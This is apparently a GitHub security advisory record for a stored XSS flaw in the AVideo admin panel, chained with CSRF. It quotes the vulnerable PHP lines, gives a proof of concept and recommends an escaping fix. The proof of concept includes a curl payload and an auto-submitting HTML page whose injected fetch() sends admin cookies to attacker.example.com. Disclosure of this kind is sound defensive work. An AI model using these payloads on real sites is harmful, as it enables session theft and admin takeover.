{"id":"GHSA-v4h7-3x43-qqw4","summary":"AVideo has Stored XSS via Unescaped Plugin Configuration Values in Admin Panel","details":"## Summary\n\nThe AVideo admin panel renders plugin configuration values in HTML forms without applying `htmlspecialchars()` or any other output encoding. The `jsonToFormElements()` function in `admin/functions.php` directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on `admin/save.json.php`) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.\n\nThis vulnerability chains with AVI-046 (CSRF on `save.json.php`) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.\n\n## Details\n\nThe `jsonToFormElements()` function in `admin/functions.php` contains multiple unsafe output points where configuration values are rendered without escaping:\n\n**Textarea injection (line 47):**\n```php\n// admin/functions.php:47\n$html .= \"\u003ctextarea class='form-control' name='{$name}' id='{$id}'\u003e{$valueJson-\u003evalue}\u003c/textarea\u003e\";\n```\nThe `$valueJson-\u003evalue` is placed directly between textarea tags without encoding.\n\n**Select option injection (line 55):**\n```php\n// admin/functions.php:55\n$html .= \"\u003coption value='{$key}' {$select}\u003e{$value}\u003c/option\u003e\";\n```\nBoth `$key` and `$value` are inserted without encoding, allowing attribute breakout and HTML injection.\n\n**Input type and value injection (lines 62-63):**\n```php\n// admin/functions.php:62-63\n$html .= \"\u003cinput class='form-control' type='{$valueJson-\u003etype}' value='{$valueJson-\u003evalue}' name='{$name}' id='{$id}'/\u003e\";\n```\nBoth `type` and `value` attributes are unescaped, enabling attribute injection.\n\n**Fallback input injection (line 75):**\n```php\n// admin/functions.php:75\n$html .= \"\u003cinput class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/\u003e\";\n```\nThe raw `$valueJson` string is placed into the `value` attribute without encoding.\n\nConfiguration values are saved via `admin/save.json.php`, which lacks CSRF token validation.\n\n## Proof of Concept\n\n**Method 1: Direct exploitation (requires admin session)**\n\n```bash\n# Store XSS payload in a plugin configuration value\n# The endpoint uses pluginName and direct field names as parameters\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  -X POST \"https://your-avideo-instance.com/admin/save.json.php\" \\\n  -d \"pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='\"\n```\n\nWhen any admin visits the plugin configuration page, the payload fires.\n\n**Method 2: Cross-origin chain with CSRF (no authentication required)**\n\nCreate the following HTML page and trick an admin into visiting it:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-033 + AVI-046 Chain PoC\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cform id=\"xss\" method=\"POST\"\n      action=\"https://your-avideo-instance.com/admin/save.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"name\" value=\"Gallery\" /\u003e\n  \u003cinput type=\"hidden\" name=\"parameter\" value=\"description\" /\u003e\n  \u003cinput type=\"hidden\" name=\"value\"\n         value=\"' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('xss').submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe payload breaks out of the `value` attribute in the rendered input element:\n\n```html\n\u003c!-- Rendered HTML in admin panel --\u003e\n\u003cinput class='form-control' type='text'\n       value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''\n       name='description' id='description'/\u003e\n```\n\n## Impact\n\nAn attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on `save.json.php`, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:\n\n- Steal admin session cookies and CSRF tokens\n- Create new admin accounts\n- Modify site configuration (enable file uploads, disable security features)\n- Inject persistent JavaScript into public-facing pages via site-wide settings\n- Pivot to server-side code execution via plugin upload functionality\n\n- **CWE-79**: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n- **Severity**: High\n\n## Recommended Fix\n\nApply `htmlspecialchars($value, ENT_QUOTES, 'UTF-8')` to all user-controlled values rendered in `admin/functions.php`:\n\n```php\n// admin/functions.php:47 - textarea content\n$html .= \"\u003ctextarea class='form-control' name='{$name}' id='{$id}'\u003e\" . htmlspecialchars($valueJson-\u003evalue, ENT_QUOTES, 'UTF-8') . \"\u003c/textarea\u003e\";\n\n// admin/functions.php:55 - select option\n$html .= \"\u003coption value='\" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . \"' {$select}\u003e\" . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . \"\u003c/option\u003e\";\n\n// admin/functions.php:62-63 - input type and value\n$html .= \"\u003cinput class='form-control' type='\" . htmlspecialchars($valueJson-\u003etype, ENT_QUOTES, 'UTF-8') . \"' value='\" . htmlspecialchars($valueJson-\u003evalue, ENT_QUOTES, 'UTF-8') . \"' name='{$name}' id='{$id}'/\u003e\";\n\n// admin/functions.php:75 - fallback input\n$html .= \"\u003cinput class='form-control' type='text' value='\" . htmlspecialchars($valueJson, ENT_QUOTES, 'UTF-8') . \"' name='{$name}' id='{$id}'/\u003e\";\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","aliases":["CVE-2026-34396"],"modified":"2026-03-31T23:41:23.506308Z","published":"2026-03-31T23:22:21Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-03-31T23:22:21Z","nvd_published_at":"2026-03-31T21:16:30Z","cwe_ids":["CWE-79"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-v4h7-3x43-qqw4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34396"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/a93ba83eb9f3aa47cd16af0a0dc13da3bf8ac4d1"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-v4h7-3x43-qqw4/GHSA-v4h7-3x43-qqw4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}